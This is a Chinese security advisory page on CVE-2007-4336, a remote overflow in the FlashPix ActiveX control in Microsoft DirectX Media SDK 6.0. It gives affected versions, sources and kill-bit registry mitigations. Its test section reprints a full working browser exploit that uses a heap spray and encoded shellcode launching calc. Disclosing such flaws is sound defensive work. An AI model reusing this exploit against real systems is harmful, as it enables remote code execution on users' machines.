安全研究

安全漏洞
Microsoft DirectX Media SDK DXTLIPI.DLL控件远程栈溢出漏洞

发布日期:2007-08-09
更新日期:2007-08-14

受影响系统:
Microsoft DirectX Media SDK 6.0
描述:
BUGTRAQ  ID: 25279
CVE(CAN) ID: CVE-2007-4336

DirectX Media SDK是用于开发流媒体应用程序的工具包。

DirectX Media SDK捆绑的ActiveX控件实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。

DirectX Media SDK捆绑了一个由Live Picture公司提供的第三方ActiveX控件FlashPix(DXTLIPI.DLL),该控件在处理SourceUrl()属性时存在缓冲区溢出,如果用户受骗打开了恶意网页并传送了超过大约1044字节的超长字符串的话,就可能触发这个溢出,导致执行任意指令。

<*来源:Krystian Kloskowski (h07@interia.pl
  
  链接:http://www.kb.cert.org/vuls/id/466601
        http://secunia.com/advisories/26426/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<HTML>
<!--
Microsoft DXMedia SDK 6 "SourceUrl" ActiveX 0day Remote Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on:..
- Microsoft DirectX Media 6.0 SDK
- Microsoft Internet Explorer 6 + all patches
- Microsoft Windows XP SP2 Polish + all patches

Details:..

obj.SourceUrl = "AAAA..1044..AAAA";
location.reload();

[Module DXTLIPI]
EAX 41414141
CALL DWORD PTR DS:[EAX]
-->

<object id="obj" classid="clsid:201EA564-A6F6-11D1-811D-00C04FB6BD36"></object>

<script>

var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");

var address = 0x0D0D0D0D;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var spray = unescape("%u0D0D%u0D0D");
var tmp = "\x0D\x0D\x0D\x0D";
var tmp_size = 1044;

while((spray.length * 2) < block_size) spray += spray;
spray = spray.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i < blocks; i++) memory[i] = spray + shellcode;
while(tmp.length < (tmp_size * 2)) tmp += tmp;
tmp = tmp.substring(0, tmp_size);

obj.SourceUrl = tmp;
location.reload();

</script>
</HTML>

建议:
临时解决方法:

* 在IE中禁用FlashPix ActiveX控件,为以下CLSID设置kill bit:

{201EA564-A6F6-11D1-811D-00C04FB6BD36}

或者将以下文本保存为.REG文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{201EA564-A6F6-11D1-811D-00C04FB6BD36}]
"Compatibility Flags"=dword:00000400

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:2856
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障